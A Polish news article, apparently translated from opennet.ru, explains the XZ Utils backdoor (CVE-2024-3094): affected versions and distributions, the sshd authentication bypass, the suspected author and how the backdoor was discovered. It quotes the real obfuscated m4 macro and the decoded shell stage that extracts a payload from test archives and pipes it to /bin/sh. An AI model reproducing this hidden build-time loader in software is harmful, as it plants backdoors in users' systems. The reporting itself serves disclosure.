W pakiecie XZ Utils, który zawiera bibliotekę liblzma oraz narzędzia do przetwarzania danych skompresowanych w formacie „.xz”, ujawniono tylnie wejście (CVE-2024-3094), które pozwala na przechwytywanie i modyfikowanie danych przetwarzanych przez aplikacje związane z biblioteką liblzma. Głównym celem tylnego wejścia jest serwer OpenSSH, w niektórych dystrybucjach powiązany z biblioteką libsystemd, która z kolei korzysta z liblzma. Powiązanie sshd z podatną biblioteką umożliwia napastnikom uzyskanie dostępu do serwera SSH bez autoryzacji.
Tylne wejście było obecne w oficjalnych wersjach 5.6.0 i 5.6.1, opublikowanych 24 lutego i 9 marca, które zdążyły znaleźć się w niektórych dystrybucjach i repozytoriach, takich jak Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide i 40-beta, openSUSE factory i tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Wszystkim użytkownikom wydań xz 5.6.0 i 5.6.1 zaleca się pilne przejście na wersję 5.4.6.
Wśród łagodzących okoliczności warto zauważyć, że wersja liblzma z tylnym wejściem nie zdążyła trafić do stabilnych wydań głównych dystrybucji, ale dotknęła openSUSE Tumbleweed i Fedora 40-beta. Arch Linux i Gentoo używały podatnej wersji zx, ale nie są narażone na atak, ponieważ nie stosują do openssh łatki wspierającej systemd-notify, co prowadzi do powiązania sshd z liblzma. Tylne wejście dotyczy tylko systemów x86_64 opartych na jądrze Linux oraz bibliotek C Glibc.
Kod aktywujący tylne wejście był ukryty w m4-makrosach z pliku build-to-host.m4, używanego przez narzędzia automake podczas kompilacji. W trakcie budowy, w wyniku złożonych, obfuskowanych operacji opartych na archiwach (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), stosowanych do testowania poprawności działania, tworzony był plik obiektowy z złośliwym kodem, który był włączany do biblioteki liblzma i zmieniał logikę działania niektórych jej funkcji. Aktywujące tylne wejście m4-makrosy były częścią archiwów tar wydań, ale brakowało ich w repozytorium Git. Złośliwe testowe archiwa znajdowały się w repozytorium, więc osoba, która wprowadziła tylne wejście, miała dostęp zarówno do repozytorium, jak i procesów tworzenia wydań.
Podczas korzystania z liblzma w aplikacjach mogły być wykorzystywane złośliwe zmiany do przechwytywania lub modyfikowania danych, a także do wpływania na działanie sshd. W szczególności złośliwy kod podmienił funkcję RSA_public_decrypt, aby omijać proces uwierzytelniania w sshd. Backdoor miał ochronę przed wykryciem i nie ujawniał się przy ustawionych zmiennych środowiskowych LANG i TERM (tj. przy uruchamianiu procesu w terminalu) oraz nie ustawionych zmiennych środowiskowych LD_DEBUG i LD_PROFILE, a także aktywował się tylko podczas wykonywania pliku wykonywalnego /usr/sbin/sshd. Backdoor miał również środki wykrywania uruchomienia w środowiskach debugowania.
W szczególności w pliku m4/build-to-host.m4 użyto konstrukcji gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
W pierwszej konstrukcji operacja grep znajdowała plik tests/files/bad-3-corrupt_lzma2.xz, przy rozpakowywaniu którego tworzył się scenariusz: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=«../../$srcdir» fi export i=«((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
W jaki sposób hakerzy uzyskali dostęp do infrastruktury projektu xz, wciąż nie jest jasne. Nie wiadomo również, ilu użytkowników i projektów zostało skompromitowanych na skutek działania backdoora. Przypuszczalny autor backdoora (JiaT75 — Jia Tan), który umieścił w repozytorium archiwa z złośliwym kodem, korespondował z deweloperami Fedory i wysyłał pull-requesty do Debiana związane z przejściem dystrybucji na wersję xz 5.6.0 i nie wzbudził podejrzeń, ponieważ uczestniczył w opracowywaniu xz przez ostatnie dwa lata i jest drugim deweloperem pod względem liczby wprowadzonych zmian. Oprócz projektu xz, przypuszczalny autor backdoora był również zaangażowany w rozwój pakietów xz-java i xz-embedded. Co więcej, kilka dni temu Jia Tan został włączony do grona mantainerów projektu XZ Embedded, używanego w jądrze Linux.
Złośliwa zmiana została wykryta po analizie nadmiernego zużycia CPU oraz błędów zgłaszanych przez valgrind podczas łączenia się przez ssh z systemami opartymi na Debian sid. Co ciekawe, w wydaniu xz 5.6.1 zawarto zmiany przygotowane przez przypuszczalnego autora backdoora w odpowiedzi na skargi dotyczące spowolnienia działania i awarii sshd, które pojawiły się po aktualizacji do wersji zx 5.6.0 z backdoorem. Ponadto, w zeszłym roku Jia Tan wprowadził zmiany, które były niezgodne z trybem weryfikacji „-fsanitize=address”, co doprowadziło do jego wyłączenia podczas testów fuzzingowych.
Źródło: opennet.ru
